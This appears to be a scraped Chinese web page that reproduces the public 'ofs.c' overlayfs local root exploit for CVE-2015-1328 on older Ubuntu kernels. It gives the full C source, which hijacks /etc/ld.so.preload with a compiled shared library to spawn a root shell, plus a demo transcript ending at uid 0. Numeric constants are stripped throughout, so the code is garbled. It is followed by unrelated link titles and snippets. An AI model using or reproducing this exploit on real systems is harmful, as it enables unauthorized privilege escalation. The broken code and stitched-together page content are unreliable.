CVE-2015-1328(本地提权漏洞)
/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html) *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user) greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/ #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h> #define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n" static char child_stack[*]; static int
child_exec(void *stuff)
{
char *file;
system("rm -rf /tmp/ns_sploit");
mkdir("/tmp/ns_sploit", );
mkdir("/tmp/ns_sploit/work", );
mkdir("/tmp/ns_sploit/upper",);
mkdir("/tmp/ns_sploit/o",); fprintf(stderr,"mount #1\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != ) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != ) {
fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
exit(-);
}
file = ".access";
chmod("/tmp/ns_sploit/work/work",);
} else file = "ns_last_pid"; chdir("/tmp/ns_sploit/o");
rename(file,"ld.so.preload"); chdir("/");
umount("/tmp/ns_sploit/o");
fprintf(stderr,"mount #2\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != ) {
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != ) {
exit(-);
}
chmod("/tmp/ns_sploit/work/work",);
} chmod("/tmp/ns_sploit/o/ld.so.preload",);
umount("/tmp/ns_sploit/o");
} int
main(int argc, char **argv)
{
int status, fd, lib;
pid_t wrapper, init;
int clone_flags = CLONE_NEWNS | SIGCHLD; fprintf(stderr,"spawning threads\n"); if((wrapper = fork()) == ) {
if(unshare(CLONE_NEWUSER) != )
fprintf(stderr, "failed to create new user namespace\n"); if((init = fork()) == ) {
pid_t pid =
clone(child_exec, child_stack + (*), clone_flags, NULL);
if(pid < ) {
fprintf(stderr, "failed to create new mount namespace\n");
exit(-);
} waitpid(pid, &status, ); } waitpid(init, &status, );
return ;
} usleep(); wait(NULL); fprintf(stderr,"child threads done\n"); fd = open("/etc/ld.so.preload",O_WRONLY); if(fd == -) {
fprintf(stderr,"exploit failed\n");
exit(-);
} fprintf(stderr,"/etc/ld.so.preload created\n");
fprintf(stderr,"creating shared library\n");
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,);
write(lib,LIB,strlen(LIB));
close(lib);
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
if(lib != ) {
fprintf(stderr,"couldn't create dynamic library\n");
exit(-);
}
write(fd,"/tmp/ofs-lib.so\n",);
close(fd);
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
execl("/bin/su","su",NULL);
}
CVE-2015-1328(本地提权漏洞)的更多相关文章
- 基于RedHat发行的Apache Tomcat本地提权漏洞
描述 Tomcat最近总想搞一些大新闻,一个月都没到,Tomcat又爆出漏洞.2016年10月11日,网上爆出Tomcat本地提权漏洞,漏洞编号为CVE-2016-5425.此次受到影响的主要是基于R ...
- Linux Kernel ‘perf’ Utility 本地提权漏洞
漏洞名称: Linux Kernel ‘perf’ Utility 本地提权漏洞 CNNVD编号: CNNVD-201309-050 发布时间: 2013-09-09 更新时间: 2013-09-09 ...
- Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞
漏洞名称: Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞 CNNVD编号: CNNVD-201306-343 发布时间: 2013-06-20 更新时间 ...
- CVE-2016-1240 Tomcat 服务本地提权漏洞
catalogue . 漏洞背景 . 影响范围 . 漏洞原理 . 漏洞PoC . 修复方案 1. 漏洞背景 Tomcat是个运行在Apache上的应用服务器,支持运行Servlet/JSP应用程序的容 ...
- 新Windows本地提权漏洞学习(CVE-2019-0841)
1.这是一个啥漏洞? 睁眼一看,妈呀本地提权,快加入本地提权漏洞利用包里,速度加入.github连接我就不发了.担心被认为是传播黑客工具,咱们在这里单纯学习一下漏洞的原理和部分源代码. 2.文件读写权 ...
- 【原创】深入分析Ubuntu本地提权漏洞CVE-2017-16995
*本文首发阿里云先知安全技术社区,原文链接https://xz.aliyun.com/t/2212 前言: 2018年3月中旬,Twitter 用户 @Vitaly Nikolenko 发布消息,称 ...
- CVE-2017-16995 Ubuntu16.04本地提权漏洞复现
0x01 前言 该漏洞由Google project zero发现.据悉,该漏洞存在于带有 eBPF bpf(2)系统(CONFIG_BPF_SYSCALL)编译支持的Linux内核中,是一个内存任意 ...
- Ubuntu16.04 本地提权漏洞复测过程
一.漏洞概述 Ubuntu 16.04 版本且unprivileged_bpf_disable 权限没有关闭的情况下就会存在 提权漏洞查看方式:1,cat /proc/version 查看系统版本 2 ...
- Tomcat本地提权漏洞预警(CVE-2016-1240)
Tomcat是个运行在Apache上的应用服务器,支持运行Servlet/JSP应用程序的容器--可以将Tomcat看作是Apache的扩展,实际上Tomcat也可以独立于Apache运行. 漏洞编号 ...
随机推荐
- 50136142WXY的百度地图
50136142WXY的百度地图 [试题描述] 社团里的WXY童鞋今天要出去旅游啦(他现在在北京为1号城市),决定去朝鲜平壤(N号城市).但是很穷的WXY没有钱坐飞机,只好坐汽车去朝鲜了.但是车上的百 ...
- Angularjs之directive指令学习笔记(二)
1.Directive的五个实例知道driective作用.其中字段restrict.template. replace.transclude.link用法 参考文章链接地址:http://damoq ...
- 爱普生 RS330 打印机墨水连供装置墨盒吸墨复位方法
芯片复位方法: 先按充墨键(墨水灯按键),一下一下按,把墨车按停到右侧换墨盒的位置为止(就是右侧框框正中位置), 全程带电操作,停到换墨盒的位置后再按住芯片复位键(墨盒芯片上面白色的小按键)5秒以上再 ...
- 数据库日期格式为int型时存取格式
存入当前日期:time() 取出并转化为日期格式:date('Y-m-d H:i:s',strtotime($time)); 最好在前面加上这句: date_default_timezone_set( ...
- Linux按键驱动程序设计详解---从简单到不简单【转】
转自:http://blog.csdn.net/coding__madman/article/details/51399353 版权声明:本文为博主原创文章,未经博主允许不得转载. 混杂设备驱动模型: ...
- Java中如何在另一个类里面使用运行类中的对象,举例说明了一下。
package 计时器; import java.util.Timer; import java.util.TimerTask; /* * 主要是想在另一个类里面,使用该类的对象,如何使用呢?如何传递 ...
- OS开发拓展篇—应用之间的跳转和数据传
iOS开发拓展篇-应用之间的跳转和数据传 说明:本文介绍app如何打开另一个app,并且传递数据. 一.简单说明 新建两个应用,分别为应用A和应用B. 实现要求:在appA的页面中点击对应的按钮,能够 ...
- div使用jqueryui 源码 | gridview多个功能的源码
div使用jqueryui 源码 | gridview多个功能的源码 一.gridview 选中行 改变颜色,双击选中 改变颜色 protected void gv1_SelectedIndexCha ...
- 三种用于select 的选择器
<html lang="en"> <head> <meta charset="utf-8"> <title>选项 ...
- 【Unix环境编程】select、poll、epoll机制的联系与区别
在linux设计并发网络程序,主要有如下几种模型:Apache模型(Process Per Connection, PPC).TPC(Thread Per Connection)模型,select机制 ...